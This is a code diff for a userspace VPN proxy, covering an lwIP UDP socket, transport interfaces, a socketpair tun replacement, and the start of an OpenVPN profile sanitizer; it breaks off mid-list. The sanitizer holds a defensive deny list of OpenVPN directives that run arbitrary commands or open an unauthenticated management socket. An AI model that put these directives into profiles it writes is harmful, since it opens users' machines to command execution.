// ---------------------------------------------------------------------------
|
||||
|
||||
void LwipUdpSocket::async_send_to(asio::const_buffer buf, const Endpoint &to,
|
||||
SendHandler h) {
|
||||
auto self = shared_from_this();
|
||||
// The bytes are copied into a pbuf on the strand, which is after this call
|
||||
// returns -- so the buffer has to be captured, not borrowed. Callers of a
|
||||
// datagram socket send whole messages, so one copy per datagram is the price
|
||||
// of not requiring them to keep the buffer alive across the hop.
|
||||
auto data = std::make_shared<std::vector<uint8_t>>(
|
||||
static_cast<const uint8_t *>(buf.data()),
|
||||
static_cast<const uint8_t *>(buf.data()) + buf.size());
|
||||
asio::post(strand_,
|
||||
[self, data, to, h = std::move(h)]() mutable {
|
||||
self->do_send(data->data(), data->size(), to, std::move(h));
|
||||
});
|
||||
}
|
||||
|
||||
void LwipUdpSocket::do_send(const uint8_t *data, size_t len, Endpoint to,
|
||||
SendHandler h) {
|
||||
auto reply = [&](std::error_code ec, size_t n) {
|
||||
asio::post(cb_ex_, [h = std::move(h), ec, n] { h(ec, n); });
|
||||
};
|
||||
|
||||
if (pcb_ == nullptr || closing_) {
|
||||
reply(fatal_ ? fatal_ : make_error_code(Error::EgressGone), 0);
|
||||
return;
|
||||
}
|
||||
if (to.is_domain() || !to.address().valid() || !to.address().is_v4()) {
|
||||
// Names are the resolver's job and IPv6 is refused at the SOCKS5 edge; both
|
||||
// are programming errors by the time they reach here.
|
||||
reply(make_error_code(Error::NotSupported), 0);
|
||||
return;
|
||||
}
|
||||
if (len > 0xFFFF - 28) { // IP + UDP headers
|
||||
reply(std::make_error_code(std::errc::message_size), 0);
|
||||
return;
|
||||
}
|
||||
|
||||
pbuf *p = pbuf_alloc(PBUF_TRANSPORT, static_cast<u16_t>(len), PBUF_RAM);
|
||||
if (p == nullptr) {
|
||||
reply(make_error_code(Error::ResourceExhausted), 0);
|
||||
return;
|
||||
}
|
||||
if (len > 0) std::memcpy(p->payload, data, len);
|
||||
|
||||
ip_addr_t dst{};
|
||||
ip_addr_set_ip4_u32(&dst, lwip_htonl(to.address().v4_host_order()));
|
||||
|
||||
const err_t err = udp_sendto(pcb_, p, &dst, to.port());
|
||||
pbuf_free(p);
|
||||
|
||||
if (err != ERR_OK) {
|
||||
LOG_TRACE(kMod, "{}: udp send to {} failed: {}",
|
||||
netif_ ? netif_->label() : "?", to.to_string(),
|
||||
lwip_error(err).message());
|
||||
reply(lwip_error(err), 0);
|
||||
return;
|
||||
}
|
||||
reply({}, len);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Teardown
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
void LwipUdpSocket::close() {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self] { self->do_close(); });
|
||||
}
|
||||
|
||||
void LwipUdpSocket::do_close() {
|
||||
if (closing_) return;
|
||||
closing_ = true;
|
||||
open_.store(false, std::memory_order_release);
|
||||
if (counted_ && netif_) {
|
||||
netif_->note_udp(-1);
|
||||
counted_ = false;
|
||||
}
|
||||
if (pcb_ != nullptr) {
|
||||
udp_recv(pcb_, nullptr, nullptr);
|
||||
udp_remove(pcb_);
|
||||
pcb_ = nullptr;
|
||||
}
|
||||
drop_queued();
|
||||
// fatal_ when the egress pulled the rug out, Cancelled when the caller asked
|
||||
// for this. A UDP receive that ends in Cancelled means "you closed me"; one
|
||||
// that ends in EgressGone means "retry me on the new tunnel", and the two are
|
||||
// not interchangeable to anything deciding what to do next.
|
||||
complete_recv(fatal_ ? fatal_ : make_error_code(Error::Cancelled), 0,
|
||||
Endpoint{});
|
||||
}
|
||||
|
||||
void LwipUdpSocket::abort_from_netif(const std::error_code &reason) {
|
||||
if (!closing_) {
|
||||
fatal_ = reason;
|
||||
do_close();
|
||||
}
|
||||
// Release the netif so it can finish being destroyed; the caller may still
|
||||
// hold this socket, which from here on reports a closed socket.
|
||||
netif_.reset();
|
||||
}
|
||||
|
||||
void LwipUdpSocket::drop_queued() {
|
||||
for (auto &d : queue_) pbuf_free(d.buf);
|
||||
queue_.clear();
|
||||
}
|
||||
|
||||
} // namespace ovg::netstack
|
||||
@@ -0,0 +1,118 @@
|
||||
// UdpSocket over an lwIP UDP PCB. Backs SOCKS5 UDP ASSOCIATE and the resolver.
|
||||
//
|
||||
// UDP has no flow control, so there is no equivalent of the receive-window
|
||||
// trick lwip_tcp.h uses: a datagram that arrives with no reader waiting must
|
||||
// either be buffered or dropped. This queues a small, fixed number and drops
|
||||
// the newest beyond that, which is what a kernel socket does when SO_RCVBUF
|
||||
// fills. Dropping is legal for UDP; unbounded growth under a stalled reader is
|
||||
// not, and with SOCKS5 UDP ASSOCIATE the reader is a network client we do not
|
||||
// control.
|
||||
//
|
||||
// Attribution across two live tunnels is *stronger* here than it is for TCP.
|
||||
// lwIP matches an inbound datagram against pcb->netif_idx (udp.c: it compares
|
||||
// against ip_data.current_input_netif), so udp_bind_netif() alone disambiguates
|
||||
// even when both tunnels were pushed the same address -- unlike TCP, whose
|
||||
// input path can only key on the destination address. The netif-level
|
||||
// collision check in Stack::async_attach still applies, because TCP is the
|
||||
// binding constraint.
|
||||
//
|
||||
// Everything below runs on Stack::strand(); handlers are posted to the caller's
|
||||
// executor.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <atomic>
|
||||
#include <cstdint>
|
||||
#include <deque>
|
||||
#include <memory>
|
||||
#include <system_error>
|
||||
|
||||
#include "netstack/lwip_stack.h"
|
||||
#include "netstack/stream.h"
|
||||
|
||||
struct udp_pcb;
|
||||
struct pbuf;
|
||||
// lwIP's ip_addr_t. Spelled out rather than included because with LWIP_IPV6=0
|
||||
// -- which lwip_port/lwipopts.h pins, and which lwip_stack.h explains -- it is
|
||||
// a typedef for exactly this struct, so the callback signature below matches
|
||||
// udp_recv_fn without a cast.
|
||||
struct ip4_addr;
|
||||
|
||||
namespace ovg::netstack {
|
||||
|
||||
class LwipUdpSocket final : public UdpSocket,
|
||||
public Closable,
|
||||
public std::enable_shared_from_this<LwipUdpSocket> {
|
||||
public:
|
||||
static std::shared_ptr<LwipUdpSocket> create(std::shared_ptr<Netif> netif,
|
||||
asio::any_io_executor cb_ex);
|
||||
~LwipUdpSocket() override;
|
||||
|
||||
LwipUdpSocket(const LwipUdpSocket &) = delete;
|
||||
LwipUdpSocket &operator=(const LwipUdpSocket &) = delete;
|
||||
|
||||
// UdpSocket
|
||||
void async_receive_from(asio::mutable_buffer buf, RecvHandler h) override;
|
||||
void async_send_to(asio::const_buffer buf, const Endpoint &to,
|
||||
SendHandler h) override;
|
||||
void close() override;
|
||||
bool is_open() const override { return open_.load(std::memory_order_acquire); }
|
||||
Endpoint local_endpoint() const override { return local_; }
|
||||
|
||||
// Closable
|
||||
void abort_from_netif(const std::error_code &reason) override;
|
||||
|
||||
// Datagrams dropped because the receive queue was full. Exposed so the SOCKS5
|
||||
// UDP path can report it rather than silently losing traffic.
|
||||
uint64_t drops() const { return drops_.load(std::memory_order_relaxed); }
|
||||
|
||||
private:
|
||||
friend class Netif;
|
||||
|
||||
LwipUdpSocket(std::shared_ptr<Netif> netif, asio::any_io_executor cb_ex);
|
||||
|
||||
// Strand-only. Called by Netif::async_open_udp before the socket is handed
|
||||
// out; synchronous because there is nothing to wait for.
|
||||
std::error_code bind_ephemeral();
|
||||
|
||||
static void s_recv(void *arg, udp_pcb *pcb, pbuf *p, const ip4_addr *addr,
|
||||
uint16_t port);
|
||||
|
||||
// Strand-only internals.
|
||||
void do_receive(asio::mutable_buffer buf, RecvHandler h);
|
||||
void do_send(const uint8_t *data, size_t len, Endpoint to, SendHandler h);
|
||||
void do_close();
|
||||
void on_datagram(pbuf *p, const IpAddress &from, uint16_t port);
|
||||
void pump_reader();
|
||||
void drop_queued();
|
||||
void complete_recv(const std::error_code &ec, size_t n, const Endpoint &from);
|
||||
|
||||
struct Datagram {
|
||||
pbuf *buf = nullptr;
|
||||
Endpoint from;
|
||||
};
|
||||
|
||||
// Kept by value for the same reason as in lwip_tcp.h: abort_from_netif()
|
||||
// releases netif_ while the caller may still hold this socket, so the strand
|
||||
// cannot be reached through it.
|
||||
std::shared_ptr<Netif> netif_;
|
||||
Strand strand_;
|
||||
asio::any_io_executor cb_ex_;
|
||||
|
||||
udp_pcb *pcb_ = nullptr;
|
||||
std::deque<Datagram> queue_;
|
||||
|
||||
RecvHandler recv_h_;
|
||||
asio::mutable_buffer recv_buf_;
|
||||
|
||||
Endpoint local_;
|
||||
bool closing_ = false;
|
||||
bool counted_ = false;
|
||||
std::error_code fatal_;
|
||||
|
||||
std::atomic<bool> open_{false};
|
||||
std::atomic<uint64_t> drops_{0};
|
||||
};
|
||||
|
||||
} // namespace ovg::netstack
|
||||
@@ -0,0 +1,49 @@
|
||||
// What sits underneath a netif: anything that moves whole IP packets.
|
||||
//
|
||||
// This interface is the reason netstack has no dependency on ovpn. The tunnel
|
||||
// case is one end of a socketpair fed by openvpn3 (ovpn/packet_pipe.h, adapted
|
||||
// in egress/tunnel_egress.cpp), but the netstack only ever sees "something that
|
||||
// takes an IP packet and eventually hands one back". Tests use a loopback
|
||||
// implementation and never start a VPN.
|
||||
//
|
||||
// Framing: one call, one complete IP packet, no length prefix and no partial
|
||||
// packets. The socketpair backing the real implementation is SOCK_DGRAM
|
||||
// precisely so that this holds (docs/FEASIBILITY.md 2.2).
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <cstddef>
|
||||
#include <functional>
|
||||
#include <system_error>
|
||||
|
||||
namespace ovg::netstack {
|
||||
|
||||
class PacketLink {
|
||||
public:
|
||||
using RecvHandler = std::function<void(const std::error_code &, size_t)>;
|
||||
|
||||
virtual ~PacketLink() = default;
|
||||
|
||||
// Writes one packet. Returns false if it was dropped -- a full transmit queue
|
||||
// is normal under congestion and is not an error: IP is allowed to lose
|
||||
// packets and TCP above us is built to notice. Must not block.
|
||||
virtual bool send_packet(const void *data, size_t len) = 0;
|
||||
|
||||
// Reads one packet. Exactly one may be outstanding. The handler is invoked
|
||||
// through `ex` so the netstack can keep all lwIP work on its strand.
|
||||
virtual void async_receive(asio::mutable_buffer buf,
|
||||
const asio::any_io_executor &ex, RecvHandler h) = 0;
|
||||
|
||||
// Cancels a pending receive; its handler completes with operation_aborted.
|
||||
virtual void cancel() = 0;
|
||||
|
||||
virtual bool is_open() const = 0;
|
||||
|
||||
// Largest packet this link will carry. Used to size the receive buffer; a
|
||||
// datagram larger than the buffer is silently truncated by the kernel, so
|
||||
// this must not be an underestimate.
|
||||
virtual size_t max_packet_size() const = 0;
|
||||
};
|
||||
|
||||
} // namespace ovg::netstack
|
||||
@@ -0,0 +1,128 @@
|
||||
// Transport abstractions the proxy layer programs against.
|
||||
//
|
||||
// Two implementations exist: one over lwIP inside a VPN tunnel (lwip_tcp.h,
|
||||
// lwip_udp.h) and one over host sockets (egress/direct_egress.h). Nothing above
|
||||
// this header knows which it has, which is what lets the SOCKS5 layer be tested
|
||||
// without a VPN and what makes a future stack swap (docs/FEASIBILITY.md 4.2) a
|
||||
// contained change.
|
||||
//
|
||||
// The shape is deliberately asio's: completion handlers taking
|
||||
// (std::error_code, size_t), one outstanding operation per direction, buffers
|
||||
// owned by the caller and required to stay valid until the handler runs. Making
|
||||
// it look like anything else would mean every call site translating between two
|
||||
// conventions, and that is where lifetime bugs come from.
|
||||
//
|
||||
// Threading. Implementations may run their protocol work on a private executor
|
||||
// (lwIP does -- see lwip_stack.h). Every public method here is safe to call
|
||||
// from any thread, and every completion handler is dispatched on the executor
|
||||
// the stream was created with. Callers therefore see a single-threaded world.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <cstddef>
|
||||
#include <cstdint>
|
||||
#include <functional>
|
||||
#include <memory>
|
||||
#include <string>
|
||||
#include <system_error>
|
||||
#include <vector>
|
||||
|
||||
#include "common/endpoint.h"
|
||||
|
||||
namespace ovg::netstack {
|
||||
|
||||
// A reliable, ordered byte stream to a remote host.
|
||||
//
|
||||
// Destruction is equivalent to close(): dropping the last reference aborts the
|
||||
// connection and fails any pending operation with ovg::Error::Cancelled. That
|
||||
// makes leaking a stream impossible, at the cost of requiring callers to keep a
|
||||
// reference for as long as they want the connection.
|
||||
class TcpStream {
|
||||
public:
|
||||
using ReadHandler = std::function<void(const std::error_code &, size_t)>;
|
||||
using WriteHandler = std::function<void(const std::error_code &, size_t)>;
|
||||
|
||||
virtual ~TcpStream() = default;
|
||||
|
||||
// Reads at least one byte. On end-of-stream the handler gets
|
||||
// (asio::error::eof, 0) -- note that this is not an error condition: the
|
||||
// peer half-closed and we may still have data to send. At most one read may
|
||||
// be outstanding; a second call while one is pending is a programming error
|
||||
// and fails with ovg::Error::Internal.
|
||||
virtual void async_read_some(asio::mutable_buffer buf, ReadHandler h) = 0;
|
||||
|
||||
// Writes the whole buffer. The handler runs once every byte has been accepted
|
||||
// by the transport's send buffer -- not once it has been acknowledged. At most
|
||||
// one write may be outstanding.
|
||||
virtual void async_write(asio::const_buffer buf, WriteHandler h) = 0;
|
||||
|
||||
// Sends FIN, leaving the receive direction open. This is the half-close a
|
||||
// proxy must propagate: a client that finished its request and is waiting for
|
||||
// a response has shut down exactly one direction, and closing both would
|
||||
// truncate the response.
|
||||
virtual void shutdown_send() = 0;
|
||||
|
||||
// Immediate teardown (RST if data is in flight). Idempotent. Pending handlers
|
||||
// fail with ovg::Error::Cancelled.
|
||||
virtual void close() = 0;
|
||||
|
||||
virtual bool is_open() const = 0;
|
||||
|
||||
// Best-effort; empty before the connection is established.
|
||||
virtual Endpoint local_endpoint() const = 0;
|
||||
virtual Endpoint remote_endpoint() const = 0;
|
||||
|
||||
// Bytes handed to / received from the transport since creation. Used by the
|
||||
// switch controller to tell an untouched session (safely re-homeable onto a
|
||||
// new node) from one carrying stream state (not re-homeable -- see
|
||||
// docs/FEASIBILITY.md 1.1).
|
||||
virtual uint64_t bytes_written() const = 0;
|
||||
virtual uint64_t bytes_read() const = 0;
|
||||
};
|
||||
|
||||
// A datagram socket. Backs SOCKS5 UDP ASSOCIATE and the DNS resolver.
|
||||
class UdpSocket {
|
||||
public:
|
||||
// `from` is always a literal address, never a name.
|
||||
using RecvHandler =
|
||||
std::function<void(const std::error_code &, size_t, const Endpoint &)>;
|
||||
using SendHandler = std::function<void(const std::error_code &, size_t)>;
|
||||
|
||||
virtual ~UdpSocket() = default;
|
||||
|
||||
// Truncates to the buffer size, like recvfrom(2), and reports how many bytes
|
||||
// were written -- the remainder of an oversized datagram is lost, which is
|
||||
// the standard datagram contract and what SOCKS5 clients already handle.
|
||||
virtual void async_receive_from(asio::mutable_buffer buf, RecvHandler h) = 0;
|
||||
|
||||
// `to` must be a literal address; resolving is the caller's job so that it
|
||||
// happens through the same egress the datagram will take.
|
||||
virtual void async_send_to(asio::const_buffer buf, const Endpoint &to,
|
||||
SendHandler h) = 0;
|
||||
|
||||
virtual void close() = 0;
|
||||
virtual bool is_open() const = 0;
|
||||
virtual Endpoint local_endpoint() const = 0;
|
||||
};
|
||||
|
||||
// Name resolution, performed through whatever egress owns this resolver, so a
|
||||
// lookup can never leak outside the tunnel.
|
||||
class Resolver {
|
||||
public:
|
||||
using Handler =
|
||||
std::function<void(const std::error_code &, std::vector<IpAddress>)>;
|
||||
|
||||
virtual ~Resolver() = default;
|
||||
|
||||
// Addresses come back in the order the server gave them. A literal address
|
||||
// string resolves to itself without a query.
|
||||
virtual void async_resolve(const std::string &host, Handler h) = 0;
|
||||
|
||||
virtual void clear_cache() = 0;
|
||||
};
|
||||
|
||||
using TcpStreamPtr = std::shared_ptr<TcpStream>;
|
||||
using UdpSocketPtr = std::shared_ptr<UdpSocket>;
|
||||
|
||||
} // namespace ovg::netstack
|
||||
@@ -0,0 +1,154 @@
|
||||
#include "ovpn/packet_pipe.h"
|
||||
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <cerrno>
|
||||
#include <cstring>
|
||||
|
||||
#include "common/logging.h"
|
||||
#include "common/metrics.h"
|
||||
|
||||
namespace ovg::ovpn {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "ovpn.pipe";
|
||||
|
||||
metrics::Counter *tx_dropped_metric() {
|
||||
static auto *c = metrics::counter(
|
||||
"ovg_tun_tx_dropped_total",
|
||||
"IP packets dropped writing to the tunnel (peer queue full)");
|
||||
return c;
|
||||
}
|
||||
|
||||
// Asks for `want` bytes and reports what the kernel settled on. Linux doubles
|
||||
// the request internally for bookkeeping, so the value read back is roughly
|
||||
// 2x what was asked for -- and is capped by net.core.{r,w}mem_max when we do
|
||||
// not hold CAP_NET_ADMIN, which is the normal case for us.
|
||||
int set_and_read_buf(int fd, int optname, int want) {
|
||||
if (want > 0) ::setsockopt(fd, SOL_SOCKET, optname, &want, sizeof(want));
|
||||
int got = 0;
|
||||
socklen_t len = sizeof(got);
|
||||
if (::getsockopt(fd, SOL_SOCKET, optname, &got, &len) != 0) return 0;
|
||||
return got;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
PacketPipe::PacketPipe(asio::io_context &io) : sock_(io) {}
|
||||
|
||||
PacketPipe::~PacketPipe() { close(); }
|
||||
|
||||
bool PacketPipe::open(int socket_buffer_bytes, std::string *err) {
|
||||
if (sock_.is_open()) {
|
||||
if (err) *err = "packet pipe already open";
|
||||
return false;
|
||||
}
|
||||
|
||||
int fds[2] = {-1, -1};
|
||||
if (::socketpair(AF_UNIX, SOCK_DGRAM | SOCK_CLOEXEC, 0, fds) != 0) {
|
||||
if (err) *err = std::string("socketpair: ") + std::strerror(errno);
|
||||
return false;
|
||||
}
|
||||
|
||||
// fds[0] is ours, fds[1] goes to openvpn3. Both directions need the buffer:
|
||||
// ours holds packets the tunnel delivered until the netstack drains them,
|
||||
// theirs holds packets we wrote until openvpn3 encrypts them.
|
||||
granted_sndbuf_ = set_and_read_buf(fds[0], SO_SNDBUF, socket_buffer_bytes);
|
||||
granted_rcvbuf_ = set_and_read_buf(fds[0], SO_RCVBUF, socket_buffer_bytes);
|
||||
set_and_read_buf(fds[1], SO_SNDBUF, socket_buffer_bytes);
|
||||
set_and_read_buf(fds[1], SO_RCVBUF, socket_buffer_bytes);
|
||||
|
||||
std::error_code ec;
|
||||
sock_.assign(asio::local::datagram_protocol(), fds[0], ec);
|
||||
if (ec) {
|
||||
::close(fds[0]);
|
||||
::close(fds[1]);
|
||||
if (err) *err = "assign socketpair to asio: " + ec.message();
|
||||
return false;
|
||||
}
|
||||
|
||||
peer_fd_ = fds[1];
|
||||
peer_released_ = false;
|
||||
|
||||
if (socket_buffer_bytes > 0 && granted_sndbuf_ < socket_buffer_bytes) {
|
||||
// Worth a line: the usual cause is net.core.wmem_max, and an operator
|
||||
// chasing throughput needs to know the knob they set did not take effect.
|
||||
LOG_INFO(kMod,
|
||||
"tun socket buffers clamped by the kernel: asked {} B, got "
|
||||
"snd={} B rcv={} B (raise net.core.wmem_max/rmem_max to lift it)",
|
||||
socket_buffer_bytes, granted_sndbuf_, granted_rcvbuf_);
|
||||
} else {
|
||||
LOG_DEBUG(kMod, "tun packet pipe up: fd={} peer_fd={} snd={} rcv={}",
|
||||
sock_.native_handle(), peer_fd_, granted_sndbuf_,
|
||||
granted_rcvbuf_);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
int PacketPipe::release_peer_fd() {
|
||||
if (peer_fd_ < 0 || peer_released_) return -1;
|
||||
peer_released_ = true;
|
||||
const int fd = peer_fd_;
|
||||
peer_fd_ = -1;
|
||||
return fd;
|
||||
}
|
||||
|
||||
void PacketPipe::close() {
|
||||
if (peer_fd_ >= 0 && !peer_released_) {
|
||||
::close(peer_fd_);
|
||||
peer_fd_ = -1;
|
||||
}
|
||||
if (sock_.is_open()) {
|
||||
std::error_code ignored;
|
||||
sock_.close(ignored);
|
||||
}
|
||||
}
|
||||
|
||||
PacketPipe::SendStatus PacketPipe::send_packet(const void *data, size_t len) {
|
||||
if (!sock_.is_open()) return SendStatus::Closed;
|
||||
if (len == 0 || len > kMaxPacketSize) {
|
||||
tx_dropped_.fetch_add(1, std::memory_order_relaxed);
|
||||
tx_dropped_metric()->inc();
|
||||
return SendStatus::Dropped;
|
||||
}
|
||||
|
||||
// MSG_NOSIGNAL because a closed peer must surface as EPIPE, not SIGPIPE.
|
||||
for (;;) {
|
||||
const ssize_t n = ::send(sock_.native_handle(), data, len,
|
||||
MSG_DONTWAIT | MSG_NOSIGNAL);
|
||||
if (n >= 0) {
|
||||
tx_packets_.fetch_add(1, std::memory_order_relaxed);
|
||||
tx_bytes_.fetch_add(static_cast<uint64_t>(n), std::memory_order_relaxed);
|
||||
return SendStatus::Ok;
|
||||
}
|
||||
if (errno == EINTR) continue;
|
||||
if (errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS ||
|
||||
errno == EMSGSIZE || errno == ENOMEM) {
|
||||
tx_dropped_.fetch_add(1, std::memory_order_relaxed);
|
||||
tx_dropped_metric()->inc();
|
||||
return SendStatus::Dropped;
|
||||
}
|
||||
// EPIPE / ECONNREFUSED / EBADF: openvpn3 closed its end.
|
||||
LOG_DEBUG(kMod, "tun write failed, peer gone: {}", std::strerror(errno));
|
||||
return SendStatus::Closed;
|
||||
}
|
||||
}
|
||||
|
||||
void PacketPipe::note_received(size_t bytes) {
|
||||
rx_packets_.fetch_add(1, std::memory_order_relaxed);
|
||||
rx_bytes_.fetch_add(bytes, std::memory_order_relaxed);
|
||||
}
|
||||
|
||||
PacketPipe::Counters PacketPipe::counters() const {
|
||||
Counters c;
|
||||
c.tx_packets = tx_packets_.load(std::memory_order_relaxed);
|
||||
c.tx_bytes = tx_bytes_.load(std::memory_order_relaxed);
|
||||
c.tx_dropped = tx_dropped_.load(std::memory_order_relaxed);
|
||||
c.rx_packets = rx_packets_.load(std::memory_order_relaxed);
|
||||
c.rx_bytes = rx_bytes_.load(std::memory_order_relaxed);
|
||||
return c;
|
||||
}
|
||||
|
||||
} // namespace ovg::ovpn
|
||||
@@ -0,0 +1,114 @@
|
||||
// The tun replacement: a socketpair that carries raw IP packets.
|
||||
//
|
||||
// openvpn3's TunBuilder contract says tun_builder_establish() returns a file
|
||||
// descriptor "which the caller will henceforth own", and the Linux tun builder
|
||||
// client wraps that descriptor in an openvpn_io::posix::stream_descriptor. It
|
||||
// never issues a single tun ioctl on it, so the descriptor does not have to be
|
||||
// a tun device -- one end of a socketpair works exactly as well, and needs no
|
||||
// root, no CAP_NET_ADMIN and no device node. That is the hinge the whole
|
||||
// userspace design turns on (docs/FEASIBILITY.md 2.2).
|
||||
//
|
||||
// SOCK_DGRAM, not SOCK_STREAM, and the distinction matters: a tun device
|
||||
// delivers whole IP packets with framing, and a datagram socket preserves
|
||||
// exactly that boundary. Over SOCK_STREAM we would have to reassemble packets
|
||||
// by parsing IP length fields, and a single desync would corrupt the stream
|
||||
// forever.
|
||||
//
|
||||
// On Linux under USE_TUN_BUILDER the core leaves tun_prefix false, so what
|
||||
// crosses this pipe is bare IP -- no 4-byte address-family prefix.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
#include <asio/local/datagram_protocol.hpp>
|
||||
|
||||
#include <atomic>
|
||||
#include <cstddef>
|
||||
#include <cstdint>
|
||||
#include <string>
|
||||
|
||||
namespace ovg::ovpn {
|
||||
|
||||
// The largest IP packet we will move. VPNGate pushes MTUs at or below 1500;
|
||||
// the slack covers a server that pushes something unusual. Sizing matters
|
||||
// because a datagram socket silently truncates anything larger than the read
|
||||
// buffer -- no error, no short-read indication, just a corrupt packet.
|
||||
inline constexpr size_t kMaxPacketSize = 4096;
|
||||
|
||||
// One end of the pipe (ours, asio-driven). The other end is a bare fd that
|
||||
// gets handed to openvpn3, which owns and closes it from that point on.
|
||||
//
|
||||
// Not thread-safe for open()/close()/release_peer_fd(): those run on the owner
|
||||
// before the worker thread starts and after it exits. The counters are atomic
|
||||
// so the admin endpoint can read them from anywhere.
|
||||
class PacketPipe {
|
||||
public:
|
||||
using Socket = asio::local::datagram_protocol::socket;
|
||||
|
||||
enum class SendStatus {
|
||||
Ok,
|
||||
Dropped, // buffer full or packet too big -- legal for IP, counted
|
||||
Closed, // peer end is gone; the tunnel is down
|
||||
};
|
||||
|
||||
struct Counters {
|
||||
uint64_t tx_packets = 0;
|
||||
uint64_t tx_bytes = 0;
|
||||
uint64_t tx_dropped = 0;
|
||||
uint64_t rx_packets = 0;
|
||||
uint64_t rx_bytes = 0;
|
||||
};
|
||||
|
||||
explicit PacketPipe(asio::io_context &io);
|
||||
~PacketPipe();
|
||||
|
||||
PacketPipe(const PacketPipe &) = delete;
|
||||
PacketPipe &operator=(const PacketPipe &) = delete;
|
||||
|
||||
// Creates the socketpair and adopts our end. `socket_buffer_bytes` is a
|
||||
// request, not a guarantee: without CAP_NET_ADMIN the kernel clamps it to
|
||||
// net.core.{r,w}mem_max, so the value actually granted is logged.
|
||||
bool open(int socket_buffer_bytes, std::string *err);
|
||||
|
||||
bool is_open() const { return sock_.is_open(); }
|
||||
|
||||
// Transfers ownership of the far end to the caller (openvpn3). Returns -1 if
|
||||
// already released or never opened. After this the pipe will not close that
|
||||
// descriptor, because openvpn3's TunPersist will.
|
||||
int release_peer_fd();
|
||||
bool peer_released() const { return peer_released_; }
|
||||
|
||||
void close();
|
||||
|
||||
// Our end, for the netstack's async_receive loop.
|
||||
Socket &socket() { return sock_; }
|
||||
|
||||
// Writes one IP packet. Never blocks: on a full peer queue the packet is
|
||||
// dropped and counted, which is what a real NIC transmit ring does under
|
||||
// congestion and what TCP is built to recover from. Queuing here instead
|
||||
// would just add latency to a path that already has an SO_SNDBUF of queue.
|
||||
SendStatus send_packet(const void *data, size_t len);
|
||||
|
||||
// The netstack owns the receive loop, so it reports what it read.
|
||||
void note_received(size_t bytes);
|
||||
|
||||
Counters counters() const;
|
||||
|
||||
// Bytes the kernel actually granted, for logging and for sizing decisions.
|
||||
int granted_sndbuf() const { return granted_sndbuf_; }
|
||||
int granted_rcvbuf() const { return granted_rcvbuf_; }
|
||||
|
||||
private:
|
||||
Socket sock_;
|
||||
int peer_fd_ = -1;
|
||||
bool peer_released_ = false;
|
||||
int granted_sndbuf_ = 0;
|
||||
int granted_rcvbuf_ = 0;
|
||||
|
||||
std::atomic<uint64_t> tx_packets_{0};
|
||||
std::atomic<uint64_t> tx_bytes_{0};
|
||||
std::atomic<uint64_t> tx_dropped_{0};
|
||||
std::atomic<uint64_t> rx_packets_{0};
|
||||
std::atomic<uint64_t> rx_bytes_{0};
|
||||
};
|
||||
|
||||
} // namespace ovg::ovpn
|
||||
@@ -0,0 +1,321 @@
|
||||
#include "ovpn/profile_sanitizer.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <cctype>
|
||||
#include <set>
|
||||
#include <unordered_set>
|
||||
|
||||
#include <fmt/format.h>
|
||||
|
||||
#include "vpngate/csv_parser.h"
|
||||
|
||||
namespace ovg::ovpn {
|
||||
namespace {
|
||||
|
||||
std::string_view trim(std::string_view s) {
|
||||
size_t b = 0, e = s.size();
|
||||
while (b < e && std::isspace(static_cast<unsigned char>(s[b]))) ++b;
|
||||
while (e > b && std::isspace(static_cast<unsigned char>(s[e - 1]))) --e;
|
||||
return s.substr(b, e - b);
|
||||
}
|
||||
|
||||
std::string lower(std::string_view s) {
|
||||
std::string r(s);
|
||||
std::transform(r.begin(), r.end(), r.begin(),
|
||||
[](unsigned char c) { return std::tolower(c); });
|
||||
return r;
|
||||
}
|
||||
|
||||
// Directives removed for safety. Three families:
|
||||
// - hooks that name a program to run,
|
||||
// - process/host state we have no business changing (and, running as an
|
||||
// unprivileged user, could not anyway),
|
||||
// - transport redirection, which would move our packets somewhere the
|
||||
// selector never measured.
|
||||
const std::unordered_set<std::string_view> &denied() {
|
||||
static const std::unordered_set<std::string_view> s = {
|
||||
// Script hooks -- arbitrary command execution.
|
||||
"up", "down", "down-pre", "up-delay", "up-restart", "route-up",
|
||||
"route-pre-down", "ipchange", "tls-verify", "tls-export-cert",
|
||||
"client-connect", "client-disconnect", "learn-address",
|
||||
"auth-user-pass-verify", "script-security", "plugin", "askpass",
|
||||
|
||||
// Process and host state.
|
||||
"daemon", "user", "group", "chroot", "cd", "setcon", "service",
|
||||
"writepid", "log", "log-append", "status", "status-version", "iproute",
|
||||
"register-dns", "dhcp-renew", "dhcp-release", "show-net-up", "win-sys",
|
||||
"block-outside-dns",
|
||||
|
||||
// Management interface: an unauthenticated control socket by default.
|
||||
"management", "management-client", "management-client-auth",
|
||||
"management-client-pf", "management-client-user",
|
||||
"management-client-group", "management-external-cert",
|
||||
"management-external-key", "management-forget-disconnect",
|
||||
"management-hold", "management-log-cache", "management-query-passwords",
|
||||
"management-query-proxy", "management-query-remote", "management-signal",
|
||||
"management-up-down",
|
||||
|
||||
// Transport redirection.
|
||||
"http-proxy", "http-proxy-option", "http-proxy-retry",
|
||||
"http-proxy-timeout", "socks-proxy", "socks-proxy-retry",
|
||||
|
||||
// Interface addressing: ours to decide, not the profile's. A local
|
||||
// ifconfig here would fight the addresses the server pushes.
|
||||
"ifconfig", "ifconfig-ipv6", "ifconfig-noexec", "dev-node", "dev-type",
|
||||
|
||||
// Server-side directive; meaningless (and confusing) in a client profile.
|
||||
"push",
|
||||
};
|
||||
return s;
|
||||
}
|
||||
|
||||
// Directives we drop from the input because we emit our own canonical version.
|
||||
// Not reported as "dropped": that would be noise on every single profile.
|
||||
const std::unordered_set<std::string_view> ®enerated() {
|
||||
static const std::unordered_set<std::string_view> s = {
|
||||
"client", "pull", "tls-client", "dev",
|
||||
"nobind", "bind", "local", "lport",
|
||||
